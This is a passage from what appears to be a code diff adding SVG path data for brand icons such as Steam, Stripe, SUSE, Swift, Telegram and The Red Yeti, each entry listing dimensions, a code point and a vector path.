36.4.5 12.2 5.1 21.6 14.6 26.7 26.7 5 12.2 5 25.6-.1 37.7-10.5 25.1-39.4 37-64.6 26.5-11.6-4.8-20.4-13.6-25.4-24.2l28.5 11.8c18.6 7.8 39.9-.9 47.6-19.4zM400 32H48C21.5 32 0 53.5 0 80v160.7l116.6 48.1c12-8.2 26.2-12.1 40.7-11.3l55.4-80.2v-1.1c0-48.2 39.3-87.5 87.6-87.5s87.6 39.3 87.6 87.5c0 49.2-40.9 88.7-89.6 87.5l-79 56.3c1.6 38.5-29.1 68.8-65.7 68.8-31.8 0-58.5-22.7-64.5-52.7L0 319.2V432c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-99.7 222.5c-32.2 0-58.4-26.1-58.4-58.3s26.2-58.3 58.4-58.3 58.4 26.2 58.4 58.3-26.2 58.3-58.4 58.3zm.1-14.6c24.2 0 43.9-19.6 43.9-43.8 0-24.2-19.6-43.8-43.9-43.8-24.2 0-43.9 19.6-43.9 43.8 0 24.2 19.7 43.8 43.9 43.8z" ], + "steam-symbol": [ 448, 512, [], "f3f6", "M395.5 177.5c0 33.8-27.5 61-61 61-33.8 0-61-27.3-61-61s27.3-61 61-61c33.5 0 61 27.2 61 61zm52.5.2c0 63-51 113.8-113.7 113.8L225 371.3c-4 43-40.5 76.8-84.5 76.8-40.5 0-74.7-28.8-83-67L0 358V250.7L97.2 290c15.1-9.2 32.2-13.3 52-11.5l71-101.7c.5-62.3 51.5-112.8 114-112.8C397 64 448 115 448 177.7zM203 363c0-34.7-27.8-62.5-62.5-62.5-4.5 0-9 .5-13.5 1.5l26 10.5c25.5 10.2 38 39 27.7 64.5-10.2 25.5-39.2 38-64.7 27.5-10.2-4-20.5-8.3-30.7-12.2 10.5 19.7 31.2 33.2 55.2 33.2 34.7 0 62.5-27.8 62.5-62.5zm207.5-185.3c0-42-34.3-76.2-76.2-76.2-42.3 0-76.5 34.2-76.5 76.2 0 42.2 34.3 76.2 76.5 76.2 41.9.1 76.2-33.9 76.2-76.2z" ], + "sticker-mule": [ 576, 512, [], "f3f7", "M561.7 199.6c-1.3.3.3 0 0 0zm-6.2-77.4c-7.7-22.3-5.1-7.2-13.4-36.9-1.6-6.5-3.6-14.5-6.2-20-4.4-8.7-4.6-7.5-4.6-9.5 0-5.3 30.7-45.3 19-46.9-5.7-.6-12.2 11.6-20.6 17-8.6 4.2-8 5-10.3 5-2.6 0-5.7-3-6.2-5-2-5.7 1.9-25.9-3.6-25.9-3.6 0-12.3 24.8-17 25.8-5.2 1.3-27.9-11.4-75.1 18-25.3 13.2-86.9 65.2-87 65.3-6.7 4.7-20 4.7-35.5 16-44.4 30.1-109.6 9.4-110.7 9-110.6-26.8-128-15.2-159 11.5-20.8 17.9-23.7 36.5-24.2 38.9-4.2 20.4 5.2 48.3 6.7 64.3 1.8 19.3-2.7 17.7 7.7 98.3.5 1 4.1 0 5.1 1.5 0 8.4-3.8 12.1-4.1 13-1.5 4.5-1.5 10.5 0 16 2.3 8.2 8.2 37.2 8.2 46.9 0 41.8.4 44 2.6 49.4 3.9 10 12.5 9.1 17 12 3.1 3.5-.5 8.5 1 12.5.5 2 3.6 4 6.2 5 9.2 3.6 27 .3 29.9-2.5 1.6-1.5.5-4.5 3.1-5 5.1 0 10.8-.5 14.4-2.5 5.1-2.5 4.1-6 1.5-10.5-.4-.8-7-13.3-9.8-16-2.1-2-5.1-3-7.2-4.5-5.8-4.9-10.3-19.4-10.3-19.5-4.6-19.4-10.3-46.3-4.1-66.8 4.6-17.2 39.5-87.7 39.6-87.8 4.1-6.5 17-11.5 27.3-7 6 1.9 19.3 22 65.4 30.9 47.9 8.7 97.4-2 112.2-2 2.8 2-1.9 13-.5 38.9 0 26.4-.4 13.7-4.1 29.9-2.2 9.7 3.4 23.2-1.5 46.9-1.4 9.8-9.9 32.7-8.2 43.4.5 1 1 2 1.5 3.5.5 4.5 1.5 8.5 4.6 10 7.3 3.6 12-3.5 9.8 11.5-.7 3.1-2.6 12 1.5 15 4.4 3.7 30.6 3.4 36.5.5 2.6-1.5 1.6-4.5 6.4-7.4 1.9-.9 11.3-.4 11.3-6.5.3-1.8-9.2-19.9-9.3-20-2.6-3.5-9.2-4.5-11.3-8-6.9-10.1-1.7-52.6.5-59.4 3-11 5.6-22.4 8.7-32.4 11-42.5 10.3-50.6 16.5-68.3.8-1.8 6.4-23.1 10.3-29.9 9.3-17 21.7-32.4 33.5-47.4 18-22.9 34-46.9 52-69.8 6.1-7 8.2-13.7 18-8 10.8 5.7 21.6 7 31.9 17 14.6 12.8 10.2 18.2 11.8 22.9 1.5 5 7.7 10.5 14.9 9.5 10.4-2 13-2.5 13.4-2.5 2.6-.5 5.7-5 7.2-8 3.1-5.5 7.2-9 7.2-16.5 0-7.7-.4-2.8-20.6-52.9z" ], + strava: [ 384, 512, [], "f428", "M158.4 0L7 292h89.2l62.2-116.1L220.1 292h88.5zm150.2 292l-43.9 88.2-44.6-88.2h-67.6l112.2 220 111.5-220z" ], + stripe: [ 640, 512, [], "f429", "M165 144.7l-43.3 9.2-.2 142.4c0 26.3 19.8 43.3 46.1 43.3 14.6 0 25.3-2.7 31.2-5.9v-33.8c-5.7 2.3-33.7 10.5-33.7-15.7V221h33.7v-37.8h-33.7zm89.1 51.6l-2.7-13.1H213v153.2h44.3V233.3c10.5-13.8 28.2-11.1 33.9-9.3v-40.8c-6-2.1-26.7-6-37.1 13.1zm92.3-72.3l-44.6 9.5v36.2l44.6-9.5zM44.9 228.3c0-6.9 5.8-9.6 15.1-9.7 13.5 0 30.7 4.1 44.2 11.4v-41.8c-14.7-5.8-29.4-8.1-44.1-8.1-36 0-60 18.8-60 50.2 0 49.2 67.5 41.2 67.5 62.4 0 8.2-7.1 10.9-17 10.9-14.7 0-33.7-6.1-48.6-14.2v40c16.5 7.1 33.2 10.1 48.5 10.1 36.9 0 62.3-15.8 62.3-47.8 0-52.9-67.9-43.4-67.9-63.4zM640 261.6c0-45.5-22-81.4-64.2-81.4s-67.9 35.9-67.9 81.1c0 53.5 30.3 78.2 73.5 78.2 21.2 0 37.1-4.8 49.2-11.5v-33.4c-12.1 6.1-26 9.8-43.6 9.8-17.3 0-32.5-6.1-34.5-26.9h86.9c.2-2.3.6-11.6.6-15.9zm-87.9-16.8c0-20 12.3-28.4 23.4-28.4 10.9 0 22.5 8.4 22.5 28.4zm-112.9-64.6c-17.4 0-28.6 8.2-34.8 13.9l-2.3-11H363v204.8l44.4-9.4.1-50.2c6.4 4.7 15.9 11.2 31.4 11.2 31.8 0 60.8-23.2 60.8-79.6.1-51.6-29.3-79.7-60.5-79.7zm-10.6 122.5c-10.4 0-16.6-3.8-20.9-8.4l-.3-66c4.6-5.1 11-8.8 21.2-8.8 16.2 0 27.4 18.2 27.4 41.4.1 23.9-10.9 41.8-27.4 41.8zm-126.7 33.7h44.6V183.2h-44.6z" ], + "stripe-s": [ 384, 512, [], "f42a", "M155.3 154.6c0-22.3 18.6-30.9 48.4-30.9 43.4 0 98.5 13.3 141.9 36.7V26.1C298.3 7.2 251.1 0 203.8 0 88.1 0 11 60.4 11 161.4c0 157.9 216.8 132.3 216.8 200.4 0 26.4-22.9 34.9-54.7 34.9-47.2 0-108.2-19.5-156.1-45.5v128.5a396.09 396.09 0 0 0 156 32.4c118.6 0 200.3-51 200.3-153.6 0-170.2-218-139.7-218-203.9z" ], + studiovinari: [ 512, 512, [], "f3f8", "M480.3 187.7l4.2 28v28l-25.1 44.1-39.8 78.4-56.1 67.5-79.1 37.8-17.7 24.5-7.7 12-9.6 4s17.3-63.6 19.4-63.6c2.1 0 20.3.7 20.3.7l66.7-38.6-92.5 26.1-55.9 36.8-22.8 28-6.6 1.4 20.8-73.6 6.9-5.5 20.7 12.9 88.3-45.2 56.8-51.5 14.8-68.4-125.4 23.3 15.2-18.2-173.4-53.3 81.9-10.5-166-122.9L133.5 108 32.2 0l252.9 126.6-31.5-38L378 163 234.7 64l18.7 38.4-49.6-18.1L158.3 0l194.6 122L310 66.2l108 96.4 12-8.9-21-16.4 4.2-37.8L451 89.1l29.2 24.7 11.5 4.2-7 6.2 8.5 12-13.1 7.4-10.3 20.2 10.5 23.9z" ], + stumbleupon: [ 512, 512, [], "f1a4", "M502.9 266v69.7c0 62.1-50.3 112.4-112.4 112.4-61.8 0-112.4-49.8-112.4-111.3v-70.2l34.3 16 51.1-15.2V338c0 14.7 12 26.5 26.7 26.5S417 352.7 417 338v-72h85.9zm-224.7-58.2l34.3 16 51.1-15.2V173c0-60.5-51.1-109-112.1-109-60.8 0-112.1 48.2-112.1 108.2v162.4c0 14.9-12 26.7-26.7 26.7S86 349.5 86 334.6V266H0v69.7C0 397.7 50.3 448 112.4 448c61.6 0 112.4-49.5 112.4-110.8V176.9c0-14.7 12-26.7 26.7-26.7s26.7 12 26.7 26.7v30.9z" ], + "stumbleupon-circle": [ 496, 512, [], "f1a3", "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 177.5c-9.8 0-17.8 8-17.8 17.8v106.9c0 40.9-33.9 73.9-74.9 73.9-41.4 0-74.9-33.5-74.9-74.9v-46.5h57.3v45.8c0 10 8 17.8 17.8 17.8s17.8-7.9 17.8-17.8V200.1c0-40 34.2-72.1 74.7-72.1 40.7 0 74.7 32.3 74.7 72.6v23.7l-34.1 10.1-22.9-10.7v-20.6c.1-9.6-7.9-17.6-17.7-17.6zm167.6 123.6c0 41.4-33.5 74.9-74.9 74.9-41.2 0-74.9-33.2-74.9-74.2V263l22.9 10.7 34.1-10.1v47.1c0 9.8 8 17.6 17.8 17.6s17.8-7.9 17.8-17.6v-48h57.3c-.1 45.9-.1 46.4-.1 46.4z" ], + superpowers: [ 448, 512, [], "f2dd", "M448 32c-83.3 11-166.8 22-250 33-92 12.5-163.3 86.7-169 180-3.3 55.5 18 109.5 57.8 148.2L0 480c83.3-11 166.5-22 249.8-33 91.8-12.5 163.3-86.8 168.7-179.8 3.5-55.5-18-109.5-57.7-148.2L448 32zm-79.7 232.3c-4.2 79.5-74 139.2-152.8 134.5-79.5-4.7-140.7-71-136.3-151 4.5-79.2 74.3-139.3 153-134.5 79.3 4.7 140.5 71 136.1 151z" ], + supple: [ 640, 512, [], "f3f9", "M640 262.5c0 64.1-109 116.1-243.5 116.1-24.8 0-48.6-1.8-71.1-5 7.7.4 15.5.6 23.4.6 134.5 0 243.5-56.9 243.5-127.1 0-29.4-19.1-56.4-51.2-78 60 21.1 98.9 55.1 98.9 93.4zM47.7 227.9c-.1-70.2 108.8-127.3 243.3-127.6 7.9 0 15.6.2 23.3.5-22.5-3.2-46.3-4.9-71-4.9C108.8 96.3-.1 148.5 0 212.6c.1 38.3 39.1 72.3 99.3 93.3-32.3-21.5-51.5-48.6-51.6-78zm60.2 39.9s10.5 13.2 29.3 13.2c17.9 0 28.4-11.5 28.4-25.1 0-28-40.2-25.1-40.2-39.7 0-5.4 5.3-9.1 12.5-9.1 5.7 0 11.3 2.6 11.3 6.6v3.9h14.2v-7.9c0-12.1-15.4-16.8-25.4-16.8-16.5 0-28.5 10.2-28.5 24.1 0 26.6 40.2 25.4 40.2 39.9 0 6.6-5.8 10.1-12.3 10.1-11.9 0-20.7-10.1-20.7-10.1l-8.8 10.9zm120.8-73.6v54.4c0 11.3-7.1 17.8-17.8 17.8-10.7 0-17.8-6.5-17.8-17.7v-54.5h-15.8v55c0 18.9 13.4 31.9 33.7 31.9 20.1 0 33.4-13 33.4-31.9v-55h-15.7zm34.4 85.4h15.8v-29.5h15.5c16 0 27.2-11.5 27.2-28.1s-11.2-27.8-27.2-27.8h-39.1v13.4h7.8v72zm15.8-43v-29.1h12.9c8.7 0 13.7 5.7 13.7 14.4 0 8.9-5.1 14.7-14 14.7h-12.6zm57 43h15.8v-29.5h15.5c16 0 27.2-11.5 27.2-28.1s-11.2-27.8-27.2-27.8h-39.1v13.4h7.8v72zm15.7-43v-29.1h12.9c8.7 0 13.7 5.7 13.7 14.4 0 8.9-5 14.7-14 14.7h-12.6zm57.1 34.8c0 5.8 2.4 8.2 8.2 8.2h37.6c5.8 0 8.2-2.4 8.2-8.2v-13h-14.3v5.2c0 1.7-1 2.6-2.6 2.6h-18.6c-1.7 0-2.6-1-2.6-2.6v-61.2c0-5.7-2.4-8.2-8.2-8.2H401v13.4h5.2c1.7 0 2.6 1 2.6 2.6v61.2zm63.4 0c0 5.8 2.4 8.2 8.2 8.2H519c5.7 0 8.2-2.4 8.2-8.2v-13h-14.3v5.2c0 1.7-1 2.6-2.6 2.6h-19.7c-1.7 0-2.6-1-2.6-2.6v-20.3h27.7v-13.4H488v-22.4h19.2c1.7 0 2.6 1 2.6 2.6v5.2H524v-13c0-5.7-2.5-8.2-8.2-8.2h-51.6v13.4h7.8v63.9zm58.9-76v5.9h1.6v-5.9h2.7v-1.2h-7v1.2h2.7zm5.7-1.2v7.1h1.5v-5.7l2.3 5.7h1.3l2.3-5.7v5.7h1.5v-7.1h-2.3l-2.1 5.1-2.1-5.1h-2.4z" ], + suse: [ 640, 512, [], "f7d6", "M471.08 102.66s-.3 18.3-.3 20.3c-9.1-3-74.4-24.1-135.7-26.3-51.9-1.8-122.8-4.3-223 57.3-19.4 12.4-73.9 46.1-99.6 109.7C7 277-.12 307 7 335.06a111 111 0 0 0 16.5 35.7c17.4 25 46.6 41.6 78.1 44.4 44.4 3.9 78.1-16 90-53.3 8.2-25.8 0-63.6-31.5-82.9-25.6-15.7-53.3-12.1-69.2-1.6-13.9 9.2-21.8 23.5-21.6 39.2.3 27.8 24.3 42.6 41.5 42.6a49 49 0 0 0 15.8-2.7c6.5-1.8 13.3-6.5 13.3-14.9 0-12.1-11.6-14.8-16.8-13.9-2.9.5-4.5 2-11.8 2.4-2-.2-12-3.1-12-14V316c.2-12.3 13.2-18 25.5-16.9 32.3 2.8 47.7 40.7 28.5 65.7-18.3 23.7-76.6 23.2-99.7-20.4-26-49.2 12.7-111.2 87-98.4 33.2 5.7 83.6 35.5 102.4 104.3h45.9c-5.7-17.6-8.9-68.3 42.7-68.3 56.7 0 63.9 39.9 79.8 68.3H460c-12.8-18.3-21.7-38.7-18.9-55.8 5.6-33.8 39.7-18.4 82.4-17.4 66.5.4 102.1-27 103.1-28 3.7-3.1 6.5-15.8 7-17.7 1.3-5.1-3.2-2.4-3.2-2.4-8.7 5.2-30.5 15.2-50.9 15.6-25.3.5-76.2-25.4-81.6-28.2-.3-.4.1 1.2-11-25.5 88.4 58.3 118.3 40.5 145.2 21.7.8-.6 4.3-2.9 3.6-5.7-13.8-48.1-22.4-62.7-34.5-69.6-37-21.6-125-34.7-129.2-35.3.1-.1-.9-.3-.9.7zm60.4 72.8a37.54 37.54 0 0 1 38.9-36.3c33.4 1.2 48.8 42.3 24.4 65.2-24.2 22.7-64.4 4.6-63.3-28.9zm38.6-25.3a26.27 26.27 0 1 0 25.4 27.2 26.19 26.19 0 0 0-25.4-27.2zm4.3 28.8c-15.4 0-15.4-15.6 0-15.6s15.4 15.64 0 15.64z" ], + swift: [ 448, 512, [], "f8e1", "M448 156.09c0-4.51-.08-9-.2-13.52a196.31 196.31 0 0 0-2.58-29.42 99.62 99.62 0 0 0-9.22-28A94.08 94.08 0 0 0 394.84 44a99.17 99.17 0 0 0-28-9.22 195 195 0 0 0-29.43-2.59c-4.51-.12-9-.17-13.52-.2H124.14c-4.51 0-9 .08-13.52.2-2.45.07-4.91.15-7.37.27a171.68 171.68 0 0 0-22.06 2.32 103.06 103.06 0 0 0-21.21 6.1q-3.46 1.45-6.81 3.12a94.66 94.66 0 0 0-18.39 12.32c-1.88 1.61-3.69 3.28-5.43 5A93.86 93.86 0 0 0 12 85.17a99.45 99.45 0 0 0-9.22 28 196.31 196.31 0 0 0-2.54 29.4c-.13 4.51-.18 9-.21 13.52v199.83c0 4.51.08 9 .21 13.51a196.08 196.08 0 0 0 2.58 29.42 99.3 99.3 0 0 0 9.22 28A94.31 94.31 0 0 0 53.17 468a99.47 99.47 0 0 0 28 9.21 195 195 0 0 0 29.43 2.59c4.5.12 9 .17 13.52.2H323.91c4.51 0 9-.08 13.52-.2a196.59 196.59 0 0 0 29.44-2.59 99.57 99.57 0 0 0 28-9.21A94.22 94.22 0 0 0 436 426.84a99.3 99.3 0 0 0 9.22-28 194.79 194.79 0 0 0 2.59-29.42c.12-4.5.17-9 .2-13.51V172.14c-.01-5.35-.01-10.7-.01-16.05zm-69.88 241c-20-38.93-57.23-29.27-76.31-19.47-1.72 1-3.48 2-5.25 3l-.42.25c-39.5 21-92.53 22.54-145.85-.38A234.64 234.64 0 0 1 45 290.12a230.63 230.63 0 0 0 39.17 23.37c56.36 26.4 113 24.49 153 0-57-43.85-104.6-101-141.09-147.22a197.09 197.09 0 0 1-18.78-25.9c43.7 40 112.7 90.22 137.48 104.12-52.57-55.49-98.89-123.94-96.72-121.74 82.79 83.42 159.18 130.59 159.18 130.59 2.88 1.58 5 2.85 6.73 4a127.44 127.44 0 0 0 4.16-12.47c13.22-48.33-1.66-103.58-35.31-149.2C329.61 141.75 375 229.34 356.4 303.42c-.44 1.73-.95 3.4-1.44 5.09 38.52 47.4 28.04 98.17 23.13 88.59z" ], + symfony: [ 512, 512, [], "f83d", "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm133.74 143.54c-11.47.41-19.4-6.45-19.77-16.87-.27-9.18 6.68-13.44 6.53-18.85-.23-6.55-10.16-6.82-12.87-6.67-39.78 1.29-48.59 57-58.89 113.85 21.43 3.15 36.65-.72 45.14-6.22 12-7.75-3.34-15.72-1.42-24.56 4-18.16 32.55-19 32 5.3-.36 17.86-25.92 41.81-77.6 35.7-10.76 59.52-18.35 115-58.2 161.72-29 34.46-58.4 39.82-71.58 40.26-24.65.85-41-12.31-41.58-29.84-.56-17 14.45-26.26 24.31-26.59 21.89-.75 30.12 25.67 14.88 34-12.09 9.71.11 12.61 2.05 12.55 10.42-.36 17.34-5.51 22.18-9 24-20 33.24-54.86 45.35-118.35 8.19-49.66 17-78 18.23-82-16.93-12.75-27.08-28.55-49.85-34.72-15.61-4.23-25.12-.63-31.81 7.83-7.92 10-5.29 23 2.37 30.7l12.63 14c15.51 17.93 24 31.87 20.8 50.62-5.06 29.93-40.72 52.9-82.88 39.94-36-11.11-42.7-36.56-38.38-50.62 7.51-24.15 42.36-11.72 34.62 13.6-2.79 8.6-4.92 8.68-6.28 13.07-4.56 14.77 41.85 28.4 51-1.39 4.47-14.52-5.3-21.71-22.25-39.85-28.47-31.75-16-65.49 2.95-79.67C204.23 140.13 251.94 197 262 205.29c37.17-109 100.53-105.46 102.43-105.53 25.16-.81 44.19 10.59 44.83 28.65.25 7.69-4.17 22.59-19.52 23.13z" ], + teamspeak: [ 512, 512, [], "f4f9", "M244.2 346.79c2.4-12.3-12-30-32.4-48.7-20.9-19.2-48.2-39.1-63.4-46.6-21.7-12-41.7-1.8-46.3 22.7-5 26.2 0 51.4 14.5 73.9 10.2 15.5 25.4 22.7 43.4 24 11.6.6 52.5 2.2 61.7-1 11.9-4.3 20.1-11.8 22.5-24.3zm205 20.8a5.22 5.22 0 0 0-8.3 2.4c-8 25.4-44.7 112.5-172.1 121.5-149.7 10.5 80.3 43.6 145.4-6.4 22.7-17.4 47.6-35 46.6-85.4-.4-10.1-4.9-26.69-11.6-32.1zm62-122.4c-.3-18.9-8.6-33.4-26-42.2-2.9-1.3-5-2.7-5.9-6.4A222.64 222.64 0 0 0 438.9 103c-1.1-1.5-3.5-3.2-2.2-5 8.5-11.5-.3-18-7-24.4Q321.4-31.11 177.4 13.09c-40.1 12.3-73.9 35.6-102 67.4-4 4.3-6.7 9.1-3 14.5 3 4 1.3 6.2-1 9.3C51.6 132 38.2 162.59 32.1 196c-.7 4.3-2.9 6-6.4 7.8-14.2 7-22.5 18.5-24.9 34L0 264.29v20.9c0 30.8 21 50.4 51.8 49 7.7-.3 11.7-4.3 12-11.5 2-77.5-2.4-95.4 3.7-125.8C92.1 72.39 234.3 5 345.3 65.39 411.4 102 445.7 159 447.6 234.79c.8 28.2 0 56.5 0 84.6 0 7 2.2 12.5 9.4 14.2 24.1 5 49.2-12 53.2-36.7 2.9-17.1 1-34.5 1-51.7zm-159.6 131.5c36.5 2.8 59.3-28.5 58.4-60.5-2.1-45.2-66.2-16.5-87.8-8-73.2 28.1-45 54.9-22.2 60.8z" ], + telegram: [ 496, 512, [], "f2c6", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm121.8 169.9l-40.7 191.8c-3 13.6-11.1 16.9-22.4 10.5l-62-45.7-29.9 28.8c-3.3 3.3-6.1 6.1-12.5 6.1l4.4-63.1 114.9-103.8c5-4.4-1.1-6.9-7.7-2.5l-142 89.4-61.2-19.1c-13.3-4.2-13.6-13.3 2.8-19.7l239.1-92.2c11.1-4 20.8 2.7 17.2 19.5z" ], + "telegram-plane": [ 448, 512, [], "f3fe", "M446.7 98.6l-67.6 318.8c-5.1 22.5-18.4 28.1-37.3 17.5l-103-75.9-49.7 47.8c-5.5 5.5-10.1 10.1-20.7 10.1l7.4-104.9 190.9-172.5c8.3-7.4-1.8-11.5-12.9-4.1L117.8 284 16.2 252.2c-22.1-6.9-22.5-22.1 4.6-32.7L418.2 66.4c18.4-6.9 34.5 4.1 28.5 32.2z" ], + "tencent-weibo": [ 384, 512, [], "f1d5", "M72.3 495.8c1.4 19.9-27.6 22.2-29.7 2.9C31 368.8 73.7 259.2 144 185.5c-15.6-34 9.2-77.1 50.6-77.1 30.3 0 55.1 24.6 55.1 55.1 0 44-49.5 70.8-86.9 45.1-65.7 71.3-101.4 169.8-90.5 287.2zM192 .1C66.1.1-12.3 134.3 43.7 242.4 52.4 259.8 79 246.9 70 229 23.7 136.4 91 29.8 192 29.8c75.4 0 136.9 61.4 136.9 136.9 0 90.8-86.9 153.9-167.7 133.1-19.1-4.1-25.6 24.4-6.6 29.1 110.7 23.2 204-60 204-162.3C358.6 74.7 284 .1 192 .1z" ], + "the-red-yeti": [ 512, 512, [], "f69d", "M488.23 241.7l20.7 7.1c-9.6-23.9-23.9-37-31.7-44.8l7.1-18.2c.2 0 12.3-27.8-2.5-30.7-.6-11.3-6.6-27-18.4-27-7.6-10.6-17.7-12.3-30.7-5.9a122.2 122.2 0 0 0-25.3 16.5c-5.3-6.4-3 .4-3-29.8-37.1-24.3-45.4-11.7-74.8 3l.5.5a239.36 239.36 0 0 0-68.4-13.3c-5.5-8.7-18.6-19.1-25.1-25.1l24.8 7.1c-5.5-5.5-26.8-12.9-34.2-15.2 18.2-4.1 29.8-20.8 42.5-33-34.9-10.1-67.9-5.9-97.9 11.8l12-44.2L182 0c-31.6 24.2-33 41.9-33.7 45.5-.9-2.4-6.3-19.6-15.2-27a35.12 35.12 0 0 0-.5 25.3c3 8.4 5.9 14.8 8.4 18.9-16-3.3-28.3-4.9-49.2 0h-3.7l33 14.3a194.26 194.26 0 0 0-46.7 67.4l-1.7 8.4 1.7 1.7 7.6-4.7c-3.3 11.6-5.3 19.4-6.6 25.8a200.18 200.18 0 0 0-27.8 40.3c-15 1-31.8 10.8-40.3 14.3l3 3.4 28.8 1c-.5 1-.7 2.2-1.2 3.2-7.3 6.4-39.8 37.7-33 80.7l20.2-22.4c.5 1.7.7 3.4 1.2 5.2 0 25.5.4 89.6 64.9 150.5 43.6 40 96 60.2 157.5 60.2 121.7 0 223-87.3 223-211.5 6.8-9.7-1.2 3 16.7-25.1l13 14.3 2.5-.5A181.84 181.84 0 0 0 495 255a44.74 44.74 0 0 0-6.8-13.3zM398 111.2l-.5 21.9c5.5 18.1 16.9 17.2 22.4 17.2l-3.4-4.7 22.4-5.4a242.44 242.44 0 0 1-27 0c12.8-2.1 33.3-29 43-11.3 3.4 7.6 6.4 17.2 9.3 27.8l1.7-5.9a56.38 56.38 0 0 1-1.7-15.2c5.4.5 8.8 3.4 9.3 10.1.5 6.4 1.7 14.8 3.4 25.3l4.7-11.3c4.6 0 4.5-3.6-2.5 20.7-20.9-8.7-35.1-8.4-46.5-8.4l18.2-16c-25.3 8.2-33 10.8-54.8 20.9-1.1-5.4-5-13.5-16-19.9-3.2 3.8-2.8.9-.7 14.8h-2.5a62.32 62.32 0 0 0-8.4-23.1l4.2-3.4c8.4-7.1 11.8-14.3 10.6-21.9-.5-6.4-5.4-13.5-13.5-20.7 5.6-3.4 15.2-.4 28.3 8.5zm-39.6-10.1c2.7 1.9 11.4 5.4 18.9 17.2 4.2 8.4 4 9.8 3.4 11.1-.5 2.4-.5 4.3-3 7.1-1.7 2.5-5.4 4.7-11.8 7.6-7.6-13-16.5-23.6-27.8-31.2zM91 143.1l1.2-1.7c1.2-2.9 4.2-7.6 9.3-15.2l2.5-3.4-13 12.3 5.4-4.7-10.1 9.3-4.2 1.2c12.3-24.1 23.1-41.3 32.5-50.2 9.3-9.3 16-16 20.2-19.4l-6.4 1.2c-11.3-4.2-19.4-7.1-24.8-8.4 2.5-.5 3.7-.5 3.2-.5 10.3 0 17.5.5 20.9 1.2a52.35 52.35 0 0 0 16 2.5l.5-1.7-8.4-35.8 13.5 29a42.89 42.89 0 0 0 5.9-14.3c1.7-6.4 5.4-13 10.1-19.4s7.6-10.6 9.3-11.3a234.68 234.68 0 0 0-6.4 25.3l-1.7 7.1-.5 4.7 2.5 2.5C190.4 39.9 214 34 239.8 34.5l21.1.5c-11.8 13.5-27.8 21.9-48.5 24.8a201.26 201.26 0 0 1-23.4 2.9l-.2-.5-2.5-1.2a20.75 20.75 0 0 0-14 2c-2.5-.2-4.9-.5-7.1-.7l-2.5 1.7.5 1.2c2 .2 3.9.5 6.2.7l-2 3.4 3.4-.5-10.6 11.3c-4.2 3-5.4 6.4-4.2 9.3l5.4-3.4h1.2a39.4 39.4 0 0 1 25.3-15.2v-3c6.4.5 13 1 19.4 1.2 6.4 0 8.4.5 5.4 1.2a189.6 189.6 0 0 1 20.7 13.5c13.5 10.1 23.6 21.9 30 35.4 8.8 18.2 13.5 37.1 13.5 56.6a141.13 141.13 0 0 1-3 28.3 209.91 209.91 0 0 1-16 46l2.5.5c18.2-19.7 41.9-16 49.2-16l-6.4 5.9 22.4 17.7-1.7 30.7c-5.4-12.3-16.5-21.1-33-27.8 16.5 14.8 23.6 21.1 21.9 20.2-4.8-2.8-3.5-1.9-10.8-3.7 4.1 4.1 17.5 18.8 18.2 20.7l.2.2-.2.2c0 1.8 1.6-1.2-14 22.9-75.2-15.3-106.27-42.7-141.2-63.2l11.8 1.2c-11.8-18.5-15.6-17.7-38.4-26.1L149 225c-8.8-3-18.2-3-28.3.5l7.6-10.6-1.2-1.7c-14.9 4.3-19.8 9.2-22.6 11.3-1.1-5.5-2.8-12.4-12.3-28.8l-1.2 27-13.2-5c1.5-25.2 5.4-50.5 13.2-74.6zm276.5 330c-49.9 25-56.1 22.4-59 23.9-29.8-11.8-50.9-31.7-63.5-58.8l30 16.5c-9.8-9.3-18.3-16.5-38.4-44.3l11.8 23.1-17.7-7.6c14.2 21.1 23.5 51.7 66.6 73.5-120.8 24.2-199-72.1-200.9-74.3a262.57 262.57 0 0 0 35.4 24.8c3.4 1.7 7.1 2.5 10.1 1.2l-16-20.7c9.2 4.2 9.5 4.5 69.1 29-42.5-20.7-73.8-40.8-93.2-60.2-.5 6.4-1.2 10.1-1.2 10.1a80.25 80.25 0 0 1 20.7 26.6c-39-18.9-57.6-47.6-71.3-82.6 49.9 55.1 118.9 37.5 120.5 37.1 34.8 16.4 69.9 23.6 113.9 10.6 3.3 0 20.3 17 25.3 39.1l4.2-3-2.5-23.6c9 9 24.9 22.6 34.4 13-15.6-5.3-23.5-9.5-29.5-31.7 4.6 4.2 7.6 9 27.8 15l1.2-1.2-10.5-14.2c11.7-4.8-3.5 1 32-10.8 4.3 34.3 9 49.2.7 89.5zm115.3-214.4l-2.5.5 3 9.3c-3.5 5.9-23.7 44.3-71.6 79.7-39.5 29.8-76.6 39.1-80.9 40.3l-7.6-7.1-1.2 3 14.3 16-7.1-4.7 3.4 4.2h-1.2l-21.9-13.5 9.3 26.6-19-27.9-1.2 2.5 7.6 29c-6.1-8.2-21-32.6-56.8-39.6l32.5 21.2a214.82 214.82 0 0 1-93.2-6.4c-4.2-1.2-8.9-2.5-13.5-4.2l1.2-3-44.8-22.4 26.1 22.4c-57.7 9.1-113-25.4-126.4-83.4l-2.5-16.4-22.27 22.3c19.5-57.5 25.6-57.9 51.4-70.1-9.1-5.3-1.6-3.3-38.4-9.3 15.8-5.8 33-15.4 73 5.2a18.5 18.5 0 0 1 3.7-1.7c.6-3.2.4-.8 1-11.8 3.9 10 3.6 8.7 3 9.3l1.7.5c12.7-6.5 8.9-4.5 17-8.9l-5.4 13.5 22.3-5.8-8.4 8.4 2.5 2.5c4.5-1.8 30.3 3.4 40.8 16l-23.6-2.5c39.4 23 51.5 54 55.8 69.6l1.7-1.2c-2.8-22.3-12.4-33.9-16-40.1 4.2 5 39.2 34.6 110.4 46-11.3-.5-23.1 5.4-34.9 18.9l46.7-20.2-9.3 21.9c7.6-10.1 14.8-23.6 21.2-39.6v-.5l1.2-3-1.2 16c13.5-41.8 25.3-78.5 35.4-109.7l13.5-27.8v-2l-5.4-4.2h10.1l5.9 4.2 2.5-1.2-3.4-16 12.3 18.9 41.8-20.2-14.8 13 .5 2.9 17.7-.5a184 184 0 0 1 33 4.2l-23.6 2.5-1.2 3 26.6 23.1a254.21 254.21 0 0 1 27 32c-11.2-3.3-10.3-3.4-21.2-3.4l12.3 32.5zm-6.1-71.3l-3.9 13-14.3-11.8zm-254.8 7.1c1.7 10.6 4.7 17.7 8.8 21.9-9.3 6.6-27.5 